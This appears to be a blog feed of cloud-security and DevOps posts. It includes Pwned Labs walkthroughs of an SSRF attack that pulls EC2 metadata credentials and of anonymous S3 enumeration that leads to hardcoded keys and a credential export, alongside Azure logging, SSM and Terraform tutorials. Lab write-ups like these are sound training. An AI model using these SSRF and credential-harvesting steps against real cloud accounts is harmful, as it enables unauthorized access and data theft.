DEV Community: Khang Tran

Cyber Range Crypto Attack Incident Response

Khang Tran — Fri, 21 Mar 2025 23:09:04 +0000

Since joining the cyber range community just a week ago, there has already been a security incident where linux virtual machines have been compromised. This is due to machines using the same default credential "labuser:Cyberlab123!".

Below is the official notice from Azure.

Since the purpose of the Cyber Range is to simulate a real world corporate network environment, we still want to allow inbound attacks.

However, to prevent accidentally or intentionally attacking assets outside the Cyber Range, the following Network Security Group was implemented to block the most common OUTBOUND traffic for ports such as SSH, RDP, SMB and other known crypto miner ports.

SSRF Attack

Khang Tran — Thu, 21 Nov 2024 13:58:49 +0000

https://pwnedlabs.io/labs/ssrf-to-pwned

Scenario

Rumors are swirling on hacker forums about a potential breach at Huge Logistics. Your team has been monitoring these conversations closely, and Huge Logistics has asked you to assess the security of their website. Beyond the surface-level assessment, you're also to investigate links to their cloud infrastructure, mapping out any potential risk exposure. The question isn't just if they've been compromised, but how deep the rabbit hole goes.

52.6.119.121 : hugelogistics.pwn

We edit our /etc/hosts file to map the above ip to the hugelogistic.pwn domain.

sudo nano /etc/hosts

Navigate to http://hugelogistics.pwn

We can find more information about the organization that owns the IP address

whois 52.6.119.121

We see that the owner is Amazon, but specifically the Amazon EC2 service.

If we inspect the website, we find that the img tags, and notice that the images are stored in an S3 bucket at https://huge-logistics-storage.s3.amazonaws.com/

<img src="https://huge-logistics-storage.s3.amazonaws.com/web/images/about.jpg" alt="" class="img-fluid">

This reveals two folders, web and backup.

Looking back at the website, we find a new page.

Inspecting the button with developer tools, we see a form called "name" thats submitted when we click the button, with a default value of "hugelogistics.pwn"

Clicking the button we see this service status page.

The web app may have made a request to the back-end server to fetch data. This indicates it may be vulnerable to SSRF, Server-Side Request Forgery.

We assume the website is hosted on an EC2 instance, thus we can attempt an HTTP GET request to the Instance Metadata Service (IMDS) with the private IP 169.254.169.254.

We replace hugelogisticsstatus.pwn with 169.254.169.254/latest/meta-data and navigate to

http://hugelogistics.pwn/status/status.php?name=169.254.169.254/latest/meta-data

This command reveals an IAM role MetapwnedS3Access.

http://hugelogistics.pwn/status/status.php?name=169.254.169.254/latest/meta-data/iam/info

We access the IAM role's credentials.

http://hugelogistics.pwn/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access

aws configure

Access Key: ASIARQVIRZ4UKPLCJVVZ
Secret Access Key: MfQf6dRXY9q1E2oDX74sqv7ULs3rW9uIu7s4VXE1

aws configure set aws_session_token "<token value>"

Token:

IQoJb3JpZ2luX2VjEA4aCXVzLWVhc3QtMSJGMEQCIGLKaluB2S92Ar+YUOcyXI8vTgOY+n/AXgYUezfJyBSfAiBc6fVCXR0GBxEiRPPoxkTL80+Tkz4ChUmBx9G2vaCSNyrEBQim//////////8BEAAaDDEwNDUwNjQ0NTYwOCIM7eSp4B/C8Du219mSKpgFUqmhsZ5AiJi3VSVfNIUnitYObN4OUieI7GKuY4xRJqRJWnM7R/UmXgsFSp2K689l+u3z9uhFM6/EEGmccpXvsp4E2XwHPyHGY2KgFByji2Ih8b5oYH8bX4IqidPHOjonOiuvmK+sPkBzV+Cp5Wh3bkmp7oRtHPvHl73TrqM4Q/ZXEkZW1LXyAEsJGvQuotSP2plH7JOzjCgNZf+8ZzySUPeVNtlJjxlqe/nukY/sR375PT2KkjEmru69TN2nzmB9IzGO47UrAAycqwWV7xcSpDU8XQlcwNxoXO+9vnP7jZYKxAym7gbZxFd6EYbf/L1o7xohcG2WzIuZIuPyVtbsmY/XMhQOsCRGqZZecFAxkiKSjlI31cV88AgZoPCU2mzY0lfSpf80MLyR1gk+6wB/copoqI2u2LWGgeyt1UVcqcYS7vLVpaoUik06Caa/4F3vHXhxje8x2eaowdk6bRG59m/XEYkWx/9i1BMiaLrDNRH1Ik6p/um+oaqwxNbZ7TOggpN25bauSxaDBkjHgQ2ORwqm6bDhjoEsKI/YlkadlA7WthssiC1s6DJ0QLW83IvOJ/YFKBkXHYbdgicjD+RKQcAm1u/e3fYR0isb8SeJH6M6Cp9aZ5WFUN37wKj+X4Z05/lkq3JGxmwwN3/paJI/dnj3zs8h6xLViA5V7OOsugB7b+cKqe0pwn4nAEmFvWCD9pZ73rKyItWVpxAtkeN2GVhY2iashzuz8kQmvvIP/VkMoERC6qQQYVuIdjYEI5KN/iqUBSYZSmnG5wCHdhil8z6K/mZapcAUBfZ9WesgXC92dx/XgWaiIfNvxrqO3Kf/a3oW6t+mwZiQgTzc6yuDE8jGVkDV3OUwudJI/LLXhUfoAPCgIHiv2zDj4/y5BjqyAffVg3FjFSCYNM/HqUgzgIas6TOLXp4GEQOpuqlQWyBwPjF41Y8qLJX/a56cnfzSs6RsqCAXvROJM7aV+40wj47B2WmGM2b9HG3b3vN68aNwqTG7cmOh09jeAJvilB8i0Yr+QUHIheg387DUpbc9+vn6JEhOuyHtBzAogJ/tc0oKfiiVTbJP+j81u0wSz8gkiMMoSp0MD7hf9WWNMfenZBzBztmPNGC9Yd6LIBTEpNyWwGo=

Khangs-MBP:~ khangtran$ aws sts get-caller-identity
{
    "UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1",
    "Account": "104506445608",
    "Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"
}

With this new role we can access the bucket and retrieve the flag!

aws s3 cp s3://huge-logistics-storage/backup/flag.txt .

This attack was easily performed because the EC2 instance did not use IMDSv2, which allowed us to access the credentials stored in the metadata of the instance.

S3 Enumeration

Khang Tran — Thu, 21 Nov 2024 11:58:00 +0000

PWNED Labs is a great resource to get your hands dirty with AWS Penetration Testing.

Today, I'll be going through the S3 Enumeration lab showcasing how easy it is to access an S3 bucket!

Scope

It's your first day on the red team, and you've been tasked with examining a website that was found in a phished employee's bookmarks. Check it out and see where it leads! In scope is the company's infrastructure, including cloud services.

Target

http://dev.huge-logistics.com

We can see that the website uses an S3 bucket called dev.huge-logistics.com for storing static files such as images, CSS and Javascript.

While attempting to access https://s3.amazonaws.com/dev.huge-logistics.com/ and https://s3.amazonaws.com/dev.huge-logistics.com/static/, we get an access denied.

So we can try accessing using the AWS CLI instead.

We specifically use the --no-sign-request flag.

This flag is synonymous to accessing the bucket anonymously, as you would do if you were trying to access an FTP server that is poorly misconfigured and allowed anonymous sign in.

Basically, we are enumerating the S3 bucket without having to authenticate ourselves.

aws s3 ls s3://dev.huge-logistics.com --no-sign-request

Now that we can see the contents of the bucket, we can try recursive enumeration.

aws s3 ls s3://dev.huge-logistics.com --no-sign-request --recursive

But access is denied.

However, accessing the shared directory works and we find a zip file that we can download.

Khangs-MBP:~ khangtran$ aws s3 ls s3://dev.huge-logistics.com/shared/ --no-sign-request
2023-10-16 11:08:33          0
2023-10-16 11:09:01        993 hl_migration_project.zip

Download

aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip . --no-sign-request

Unzipping the file reveals a PowerShell script

We discover inside the file hardcoded access keys!

Khangs-MBP:~ khangtran$ cat migrate_secrets.ps1
# AWS Configuration
$accessKey = "AKIA3SFMDAPOWOWKXEHU"
$secretKey = "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"
$region = "us-east-1"

# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretKey

# Set the AWS region
Set-DefaultAWSRegion -Region $region

# Read the secrets from export.xml
[xml]$xmlContent = Get-Content -Path "export.xml"

# Output log file
$logFile = "upload_log.txt"

# Error handling with retry logic
function TryUploadSecret($secretName, $secretValue) {
    $retries = 3
    while ($retries -gt 0) {
        try {
            $result = New-SECSecret -Name $secretName -SecretString $secretValue
            $logEntry = "Successfully uploaded secret: $secretName with ARN: $($result.ARN)"
            Write-Output $logEntry
            Add-Content -Path $logFile -Value $logEntry
            return $true
        } catch {
            $retries--
            Write-Error "Failed attempt to upload secret: $secretName. Retries left: $retries. Error: $_"
        }
    }
    return $false
}

foreach ($secretNode in $xmlContent.Secrets.Secret) {
    # Implementing concurrency using jobs
    Start-Job -ScriptBlock {
        param($secretName, $secretValue)
        TryUploadSecret -secretName $secretName -secretValue $secretValue
    } -ArgumentList $secretNode.Name, $secretNode.Value
}

# Wait for all jobs to finish
$jobs = Get-Job
$jobs | Wait-Job

# Retrieve and display job results
$jobs | ForEach-Object {
    $result = Receive-Job -Job $_
    if (-not $result) {
        Write-Error "Failed to upload secret: $($_.Name) after multiple retries."
    }
    # Clean up the job
    Remove-Job -Job $_
}

Write-Output "Batch upload complete!"


# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force

We can reconfigure our AWS CLI with these keys, which should give us further access to the S3 bucket.

But lets first check which region the bucket is created in.

curl -I https://s3.amazonaws.com/dev.huge-logistics.com/

us-east-1

Run

aws configure

And use

access-key:AKIA3SFMDAPOWOWKXEHU
secret-key: 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

Check our identity

aws sts get-caller-identity

This reveals an IAM user pam-test.

With these credentials, we are able to access the admin directory, but could not download the flag.

But we were able to reveal more files in the migration-files directory.

Download the xml file

aws s3 cp s3://dev.huge-logistics.com/migration-files/test-export.xml .

cat test-export.xml

We see even more privileged credentials!

Take note of the AWS IT Admin credentials.

Output

<?xml version="1.0" encoding="UTF-8"?>
<CredentialsExport>
    <!-- Oracle Database Credentials -->
    <CredentialEntry>
        <ServiceType>Oracle Database</ServiceType>
        <Hostname>oracle-db-server02.prod.hl-internal.com</Hostname>
        <Username>admin</Username>
        <Password>Password123!</Password>
        <Notes>Primary Oracle database for the financial application. Ensure strong password policy.</Notes>
    </CredentialEntry>
    <!-- HP Server Credentials -->
    <CredentialEntry>
        <ServiceType>HP Server Cluster</ServiceType>
        <Hostname>hp-cluster1.prod.hl-internal.com</Hostname>
        <Username>root</Username>
        <Password>RootPassword456!</Password>
        <Notes>HP server cluster for batch jobs. Periodically rotate this password.</Notes>
    </CredentialEntry>
    <!-- AWS Production Credentials -->
    <CredentialEntry>
        <ServiceType>AWS IT Admin</ServiceType>
        <AccountID>794929857501</AccountID>
        <AccessKeyID>AKIA3SFMDAPOQRFWFGCD</AccessKeyID>
        <SecretAccessKey>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</SecretAccessKey>
        <Notes>AWS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
    </CredentialEntry>
    <!-- Iron Mountain Backup Portal -->
    <CredentialEntry>
        <ServiceType>Iron Mountain Backup</ServiceType>
        <URL>https://backupportal.ironmountain.com</URL>
        <Username>hladmin</Username>
        <Password>HLPassword789!</Password>
        <Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
    </CredentialEntry>
    <!-- Office 365 Admin Account -->
    <CredentialEntry>
        <ServiceType>Office 365</ServiceType>
        <URL>https://admin.microsoft.com</URL>
        <Username>admin@company.onmicrosoft.com</Username>
        <Password>O365Password321!</Password>
        <Notes>Office 365 global admin account. Use for essential administrative tasks only and enable MFA.</Notes>
    </CredentialEntry>
    <!-- Jira Admin Account -->
    <CredentialEntry>
        <ServiceType>Jira</ServiceType>
        <URL>https://hugelogistics.atlassian.net</URL>
        <Username>jira_admin</Username>
        <Password>JiraPassword654!</Password>
        <Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
    </CredentialEntry>
</CredentialsExport>

AWS IT Admin

Access Key: AKIA3SFMDAPOQRFWFGCD
Secret Key: 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

We can now see an export of user credit card information in cleartext!

Creating a Data Collection Rule to populate "Event" logs in Azure

Khang Tran — Wed, 11 Sep 2024 01:48:27 +0000

Multiple people have been running into the issue of the Event table in Azure not showing up in their Logs Analytics Workspace, they haven't been able to produce the heat map to visualize where attacks into their MS SQL server are coming from.

To get the "Event" table to properly query, we can create a new Data Collection Rule.

To do this,

navigate to your Log Analytic's Workspace -> Agent
click "Data Collection Rules"

This will take you to a window showing all your Data Collection Rules.

Click the "Create" button on the top left to create a new rule.

Next, create a name and specify your subscription, resource group, and region. Platform Type should be "All"

Go to "< Next : Resource >"
Hit "Add Resources" on the top left
Select both our linux and windows virtual machines
hit "Apply"

(Hopefully you're using Ubuntu Version 22.04, as the 24.04 has been causing problems with data collection agents as of recently...September 10th, 2024.)

In the "Collect and deliver" window, we hit "Add data resource"
Data Source Type: "Linux Syslog"
set "LOG_AUTH" to "LOG_DEBUG"
You should also manually set all other facility options to "None"

Now in the same window, we hit "Destination" and set it to our Log Analytics Workspace.

Add the data source.

Now, we create another data source for our windows vm.

Data Source Type: Windows Event Logs
Choose "Basic" for log collection configuration settings Check the following boxes:
Information
Audit Success
Audit Failure

In the custom tab, we want to add 2 xpath queries:

Windows Defender Malware Detection XPath Query

Microsoft-Windows-Windows Defender/Operational!*[System[(EventID=1116 or EventID=1117)]]

Windows Firewall Tampering Detection XPath Query

Microsoft-Windows-Windows Firewall With Advanced Security/Firewall!*[System[(EventID=2003)]]

These will forward logs when malware is detected or when firewalls are being tampered with.

Click next and configure the destination like we did before

At this point, you are good to create your Data Collection Rule

Now, when "Event" is queried, it shows up in our Log Analytics Workspace

How to Connect to an EC2 Instance with SSM

Khang Tran — Fri, 30 Aug 2024 21:41:18 +0000

Launch an EC2 instance. (Preferably with an AMI using Amazon Linux 2023 or later)
Create an IAM role, and attach the policy "AmazonSSMManagedInstanceCore"
Attach the role to your EC2 instance
Go to your instance, click "connect" and choose "Session Manager"

The benefits of connecting to your EC2 instance through Session Manager is that doesn't require you to open any ports to connect. This reduces the attack surface of your systems providing more security to your network.

Tip: After you created your EC2 instance, you can check if it has the SSM agent installed by connecting with Direct Connect first and then running the command

sudo systemctl status amazon-ssm-agent

You should get an output like this

How to Connect to an EC2 Instance in a Private Subnet

Khang Tran — Sun, 14 Jul 2024 05:15:16 +0000

Prerequisites

Before you start, ensure you have the following:

An EC2 instance running in a private subnet.
AWS Systems Manager (SSM) Agent installed and running on the instance.
An IAM role attached to the instance with the necessary permissions to use SSM.
AWS CLI configured on your local machine.

Step 1: Attach an IAM Role to the EC2 Instance

Create an IAM Role (if you don’t have one):
- Go to the IAM service in the AWS Management Console.
- Choose Roles and then Create role.
- Select AWS service and choose EC2.
- Attach the AmazonEC2RoleforSSM managed policy.
- Name your role and complete the creation process.
Attach the IAM Role to your EC2 Instance:
- Go to the EC2 Dashboard.
- Select your instance.
- Click on Actions > Security > Modify IAM Role.
- Attach the IAM role you created or an existing role with the necessary SSM permissions.

Step 2: Verify SSM Agent Installation

Check if SSM Agent is Installed:
- Connect to your instance using an existing method (if possible) or check the instance launch configuration.
- For Amazon Linux, the SSM Agent is pre-installed. For other AMIs, you might need to install it manually.

Install SSM Agent Manually (if not installed):

For Amazon Linux:

 sudo yum install -y amazon-ssm-agent
 sudo systemctl start amazon-ssm-agent
 sudo systemctl enable amazon-ssm-agent

Step 3: Connect to the Instance Using SSM

Configure AWS CLI:
- Open your terminal or command prompt.
- Configure the AWS CLI with your credentials and default region:
```
 aws configure
```

Follow the prompts to enter your AWS Access Key ID, Secret Access Key, Default region name (e.g., us-east-1), and Default output format (e.g., json).

Start an SSM Session:
- Use the following command to start a session with your instance:
```
 aws ssm start-session --target <instance-id>
```

Replace <instance-id> with the actual instance ID of your EC2 instance in the private subnet.

Example

Assuming your instance ID is i-0a677d0c4370bebab, you would run:

aws ssm start-session --target i-0a677d0c4370bebab

We are now connected and can run simple commands like hostname and uptime.

Note: If you have trouble for any reason, you can reference this deployment guide and use the CloudFormation template provided.

Deploying a Django App to Kubernetes with Amazon ECR and EKS

Khang Tran — Fri, 12 Jul 2024 20:37:48 +0000

Today, I'll be deploying a simple Django App to practice using Docker and Kubernetes.

I have a simple setup.

A directory with cloned git repo and a virtual environment.

"kubesite" is the django project.

And within it, I created an app that displays "Hello, world!", routed to the /hello path.

Once I verified that the application works, I created my requirements.txt file

pip freeze > requirements.txt

This lists all the dependencies within the virtual environment.

I then downloaded Docker and created my docker file.

touch Dockerfile

# Use the official Python image from the Docker Hub
FROM python:3.12-slim

# Set environment variables
ENV PYTHONUNBUFFERED=1

# Set the working directory
WORKDIR /app

# Copy the requirements file into the container
COPY requirements.txt /app/

# Install any needed packages specified in requirements.txt
RUN pip install --no-cache-dir -r requirements.txt

# Copy the current directory contents into the container at /app
COPY . /app/

# Expose port 8000
EXPOSE 8000

# Run the Django server
CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"]

I run the command docker build -t my-django-app .
which creates the Docker image shown on the desktop application.

Running docker run -p 8000:8000 my-django-app
I can open the url path and see that my application is successfully running on Docker.

Now, to deploy the application over Kubernetes, we can utilize Amazon ECR and EKS.

Amazon Elastic Compute Registry will store the Docker container image. Amazon Elastic Kubernetes Service will deploy Kubernetes clusters and allows AWS to handle control plane operations.

In my CLI, I run

aws ecr get-login-password --region <my-region> | docker login --username AWS --password-stdin <my-account-id>.dkr.ecr.<my-region>.amazonaws.com

to authenticate Docker with my ECR registry.

I run

docker tag my-django-app:latest <my-account-id>.dkr.ecr.<my-region>.amazonaws.com/my-django-app:latest

to tag the docker image.

Finally, I push the image to ECR

docker push <your-account-id>.dkr.ecr.<your-region>.amazonaws.com/my-django-app:latest

EKS

Now, I navigate to Amazon EKS in the AWS console and create a cluster with the name "my-django-app". I kept default settings, but also created a security group with this permission

This will allow the Kubernetes control plane access to AWS Resources.

The clusters take awhile to create, but once that is finished, I connect to the EKS cluster with the following command:

aws eks update-kubeconfig --region <my-region> --name <my-cluster-name>

I created this yaml file in my project, which will set the configurations for my deployment

apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-django-app
spec:
  replicas: 3
  selector:
    matchLabels:
      app: my-django-app
  template:
    metadata:
      labels:
        app: my-django-app
    spec:
      containers:
      - name: my-django-app
        image: <my-account-id>.dkr.ecr.<my-region>.amazonaws.com/my-django-app:latest
        ports:
        - containerPort: 8000
---
apiVersion: v1
kind: Service
metadata:
  name: my-django-app
spec:
  type: LoadBalancer
  selector:
    app: my-django-app
  ports:
  - protocol: TCP
    port: 80
    targetPort: 8000

I then apply the deployment to the EKS cluster

kubectl apply -f deployment.yaml

Check the pods are running

kubectl get pods

My pods are not currently running as I need to configure a worker node group in the EKS console.

I specified min=1, max=3, desired=2 using a t2.medium and a security group that allowed inbound SSH from my IP.

I have to re-run the deployment and then run kubectl get pods again.

And verify the service's external IP

kubectl get svc

I can now access my app through the IP.

And here it is!

Cleanup

Delete the deployment

kubectl delete -f deployment.yaml

and verify the deletion

kubectl get pods
kubectl get svc

The EKS Cluster, the attached node group and ECR repository were deleted manually through the AWS console.

Deploying a simple Django application using Docker and Kubernetes has been a practical and useful experience. This process, from building a Docker image to pushing it to Amazon ECR and deploying it on Amazon EKS, shows how these tools work together to manage application deployment.

Starting from a local setup and moving to a cloud deployment gives you a clear understanding of current DevOps practices. Cleaning up the resources afterward ensures you avoid unnecessary costs and keeps your AWS environment tidy. This project not only enhances your understanding of Docker and Kubernetes but also prepares you for deploying more complex applications in the future.

Creating an Auto-Scaling Web Server Architecture

Khang Tran — Thu, 11 Jul 2024 19:56:19 +0000

Since completing the AWS Cloud Resume Challenge, I've been more curious about Terraform. Today, I'll be using Terraform to create AWS architecture, containing Public Subnets, Private Subnets, Application Load Balancer (ALB), and Auto Scaling Group (ASG) for EC2 instances. The ASG scale instances up or down based on specific CPU usage thresholds.

This type of process is crucial when trying to cut costs for a business.

To start the project, I created another repository on Github and cloned it to my local computer.

I created a main.tf file:

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
}
provider "aws" {
  region     = "us-east-1"
}

I made sure to define my environment variables in the .bashrc file.

Run:

nano ~/.bashrc

and define your variables

export AWS_ACCESS_KEY_ID = "<your aws user access key>"
export AWS_SECRET_ACCESS_KEY = "<your aws user secret key>"

After saving the file, the file needs to be reloaded for the variables to be accessible.

To re-load run:

source ~/.bashrc

The variables have to be defined whenever a new bash session is created.

Defining the varuables in the bashrc script means we can remove these lines from our file:

access_key = "AWS_ACCESS_KEY_ID"
secret_key = "AWS_SECRET_ACCESS_KEY"

because Terraform is able to pull your AWS credentials directly from the .bashrc script.

To create a vpc, add this to main.tf:

# Create a VPC
resource "aws_vpc" "example" {
  cidr_block = "10.0.0.0/16"
}

After running commands:

terraform init
terraform apply

I see that Terraform as completed creating my VPC.

I check my console to make sure it was created.

The ID's match up so Terraform is configured correctly. One thing to note, the name "example" is just an identifier for the resource by Terraform. If we want to name the VPC we would have to include a tag for the resource.

resource "aws_vpc" "example" {
  cidr_block = "10.0.0.0/16"

  tags = {
    Name = "example-vpc"
  }
}

We can see here, that we don't have any subnets. We want to make 3 public and 3 private subnets

Here is how to implement them

# Subnets
resource "aws_subnet" "public_1" {
  vpc_id            = aws_vpc.example.id
  cidr_block        = "10.0.1.0/24"
  availability_zone = "us-east-1a"
  map_public_ip_on_launch = true
}

resource "aws_subnet" "public_2" {
  vpc_id            = aws_vpc.example.id
  cidr_block        = "10.0.2.0/24"
  availability_zone = "us-east-1b"
  map_public_ip_on_launch = true
}

resource "aws_subnet" "public_3" {
  vpc_id            = aws_vpc.example.id
  cidr_block        = "10.0.3.0/24"
  availability_zone = "us-east-1c"
  map_public_ip_on_launch = true
}

resource "aws_subnet" "private_1" {
  vpc_id            = aws_vpc.example.id
  cidr_block        = "10.0.4.0/24"
  availability_zone = "us-east-1a"
}

resource "aws_subnet" "private_2" {
  vpc_id            = aws_vpc.example.id
  cidr_block        = "10.0.5.0/24"
  availability_zone = "us-east-1b"
}

resource "aws_subnet" "private_3" {
  vpc_id            = aws_vpc.example.id
  cidr_block        = "10.0.6.0/24"
  availability_zone = "us-east-1c"
}

Having multiple subnets in different availability zones provides high availability in case EC2 instances are shutdown for any reason.

Note that this line that the subnets are created in the correct VPC with this line

vpc_id            = aws_vpc.example.id

The "example" is just the variable name we provided for our VPC earlier.

Next, I created an internet gateway

# Internet Gateway
resource "aws_internet_gateway" "main" {
  vpc_id = aws_vpc.example.id
}

Next I create a route table and configure outbound traffic to be directed to the internet gateway that was just created.

# Route Table for Public Subnets
resource "aws_route_table" "public" {
  vpc_id = aws_vpc.example.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.main.id
  }
}

# Route Table Associations for Public Subnets
resource "aws_route_table_association" "public_1" {
  subnet_id      = aws_subnet.public_1.id
  route_table_id = aws_route_table.public.id
}

resource "aws_route_table_association" "public_2" {
  subnet_id      = aws_subnet.public_2.id
  route_table_id = aws_route_table.public.id
}

resource "aws_route_table_association" "public_3" {
  subnet_id      = aws_subnet.public_3.id
  route_table_id = aws_route_table.public.id
}

The Route Table Associations resources associates the route table with the 3 public subnets.

So to summarize

An internet gateway was created to connext the VPC to the internet.
The route table was created make all outbound traffic direct towards the internet gateway.
The aws_route_table_association resources link the public subnets to the route table. This ensures that traffic from instances within the subnets is directed to the internet gateway.

Now, we have to create a security group

# Security Group
resource "aws_security_group" "web" {
  vpc_id = aws_vpc.example.id

  ingress {
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

The security group is specified as "web", and configured to the "example" vpc.

The ingress rules allows incoming traffic on port 80 and specifies the TCP protocol. The cidr is specified to "0.0.0.0/0" so it will allow incoming HTTP traffic from anywhere

The egress rule allows all outbound traffic from the instances associated with this security group. This is a common default setting that permits instances to initiate connections to any destination.

Next we specify a User Data script

# EC2 User Data Script
data "template_file" "userdata" {
  template = <<-EOF
              #!/bin/bash
              yum update -y
              yum install -y httpd
              systemctl start httpd
              systemctl enable httpd
              echo "Hello World from $(hostname -f)" > /var/www/html/index.html
            EOF
}

The user data script is used to bootstrap the EC2 instance with necessary configurations and software installations when it first starts. In this case, it installs and configures an Apache web server and sets up a simple "Hello World" web page.

# Launch Configuration
resource "aws_launch_configuration" "web" {
  name          = "web-launch-configuration"
  image_id      = "ami-0b72821e2f351e396" # Amazon Linux 2 AMI
  instance_type = "t2.micro"
  security_groups = [aws_security_group.web.id]

  user_data = data.template_file.userdata.rendered

  lifecycle {
    create_before_destroy = true
  }
}

This Terraform configuration defines an AWS Launch Configuration named "web-launch-configuration" for creating EC2 instances with specific settings. It specifies the use of the Amazon Linux 2 AMI (identified by the image_id "ami-0c55b159cbfafe1f0") and sets the instance type to "t2.micro". The EC2 instances launched with this configuration will use the security group referenced by aws_security_group.web.id. Additionally, a user data script, defined in the template_file data source, will be executed upon instance launch to install and start a web server. The lifecycle block ensures that new instances are created before the old ones are destroyed during updates, minimizing downtime.

# Auto Scaling Group
resource "aws_autoscaling_group" "web" {
  vpc_zone_identifier = [aws_subnet.private_1.id, aws_subnet.private_2.id, aws_subnet.private_3.id]
  launch_configuration = aws_launch_configuration.web.id
  min_size             = 1
  max_size             = 3
  desired_capacity     = 1

  tag {
    key                 = "Name"
    value               = "web"
    propagate_at_launch = true
  }
}

This Auto Scaling Group specifies that EC2 instances should be launched in the identified three private subnets. It maintains a minimum of 1 instance, scales up to a maximum of 3 instances based on scaling policies, and starts with a desired capacity of 1 instance. The instances are launched using the specified launch configuration.

# Application Load Balancer
resource "aws_lb" "web" {
  name               = "web-alb"
  internal           = false
  load_balancer_type = "application"
  security_groups    = [aws_security_group.web.id]
  subnets            = [aws_subnet.public_1.id, aws_subnet.public_2.id, aws_subnet.public_3.id]
}

resource "aws_lb_target_group" "web" {
  name        = "web-tg"
  port        = 80
  protocol    = "HTTP"
  vpc_id      = aws_vpc.example.id
  target_type = "instance"
}

resource "aws_lb_listener" "web" {
  load_balancer_arn = aws_lb.web.arn
  port              = "80"
  protocol          = "HTTP"

  default_action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.web.arn
  }
}

This Terraform configuration sets up an Application Load Balancer (ALB) named "web-alb" that is publicly accessible (internal = false) and uses the specified security group and public subnets. It also creates a target group named "web-tg" to route HTTP traffic on port 80 to instances within the specified VPC, and an ALB listener that listens for HTTP traffic on port 80, forwarding it to the target group. This configuration ensures that incoming HTTP traffic is balanced across the EC2 instances registered in the target group.

resource "aws_autoscaling_attachment" "asg_attachment" {
  autoscaling_group_name = aws_autoscaling_group.web.name
  lb_target_group_arn   = aws_lb_target_group.web.arn
}

The above resource attaches the ASG to the ALB's target group. This makes sure that the instances managed by the ASG are automatically registered with the ALB.


Next are two CloudWatch Alarms. These alarms trigger if CPU usage is over 75% or below 20% for longer than 30 seconds.


# CloudWatch Alarms
resource "aws_cloudwatch_metric_alarm" "high_cpu" {
  alarm_name                = "high-cpu-utilization"
  comparison_operator       = "GreaterThanThreshold"
  evaluation_periods        = "2"
  metric_name               = "CPUUtilization"
  namespace                 = "AWS/EC2"
  period                    = "30"
  statistic                 = "Average"
  threshold                 = "75"
  alarm_actions             = [aws_autoscaling_policy.scale_out.arn]
  dimensions = {
    AutoScalingGroupName = aws_autoscaling_group.web.name
  }
}

resource "aws_cloudwatch_metric_alarm" "low_cpu" {
  alarm_name                = "low-cpu-utilization"
  comparison_operator       = "LessThanThreshold"
  evaluation_periods        = "2"
  metric_name               = "CPUUtilization"
  namespace                 = "AWS/EC2"
  period                    = "30"
  statistic                 = "Average"
  threshold                 = "20"
  alarm_actions             = [aws_autoscaling_policy.scale_in.arn]
  dimensions = {
    AutoScalingGroupName = aws_autoscaling_group.web.name
  }
}

In this last line

dimensions = {
    AutoScalingGroupName = aws_autoscaling_group.web.name
  }

We are basically telling the alarm to monitor the instances in this specific ASG.

Notice that we specified alarm_actions here to specific Auto Scaling Policies:

alarm_actions             = [aws_autoscaling_policy.scale_in.arn]

and here

alarm_actions             = [aws_autoscaling_policy.scale_out.arn]

These policies will now be created below, and are triggered when their associated CloudWatch Alarm is triggered.

# Auto Scaling Policies
resource "aws_autoscaling_policy" "scale_out" {
  name                   = "scale_out"
  scaling_adjustment     = 1
  adjustment_type        = "ChangeInCapacity"
  cooldown               = 30
  autoscaling_group_name = aws_autoscaling_group.web.name
}

resource "aws_autoscaling_policy" "scale_in" {
  name                   = "scale_in"
  scaling_adjustment     = -1
  adjustment_type        = "ChangeInCapacity"
  cooldown               = 30
  autoscaling_group_name = aws_autoscaling_group.web.name
}

Launching

To launch we perform:

terraform init
terraform plan
terraform apply

Now checking the VPC, we see that it has the public and private subnets with the route tables.

Navigating to EC2, we see that the ASG is correctly configured

And an EC2 instance is live

Testing

I edited the EC2 user data script to install "stress" so once the instance, I can test the ASG automatically by driving up the CPU usage for a minute, and then stopping.

# EC2 User Data Script
data "template_file" "userdata" {
  template = <<-EOF
              #!/bin/bash
              yum update -y
              yum install -y epel-release
              yum install -y stress
              yum install -y httpd
              systemctl start httpd
              systemctl enable httpd
              systemctl enable amazon-ssm-agent
              systemctl start amazon-ssm-agent
              echo "Hello World from $(hostname -f)" > /var/www/html/index.html
              # Run stress for 1 minute to simulate high CPU usage
              stress --cpu 1 --timeout 60
            EOF
}

Another way to do this, is to SSH directly into your EC2 instance. To do this, we would have to make sure the instances have access to the internet from the private subnets.

# Elastic IP for NAT Gateway
resource "aws_eip" "nat_eip" {
  vpc = true
}

# NAT Gateway in Public Subnet
resource "aws_nat_gateway" "nat_gw" {
  allocation_id = aws_eip.nat_eip.id
  subnet_id     = aws_subnet.public_1.id
}

# Route Table for Private Subnets
resource "aws_route_table" "private" {
  vpc_id = aws_vpc.example.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_nat_gateway.nat_gw.id
  }
}

# Route Table Associations for Private Subnets
resource "aws_route_table_association" "private_1" {
  subnet_id      = aws_subnet.private_1.id
  route_table_id = aws_route_table.private.id
}

resource "aws_route_table_association" "private_2" {
  subnet_id      = aws_subnet.private_2.id
  route_table_id = aws_route_table.private.id
}

resource "aws_route_table_association" "private_3" {
  subnet_id      = aws_subnet.private_3.id
  route_table_id = aws_route_table.private.id
}

By adding a NAT Gateway and updating the route table for the private subnets, we enable instances in the private subnets to access the internet for outbound traffic while remaining protected from inbound internet traffic.

Now running the terraform apply will update our resources.

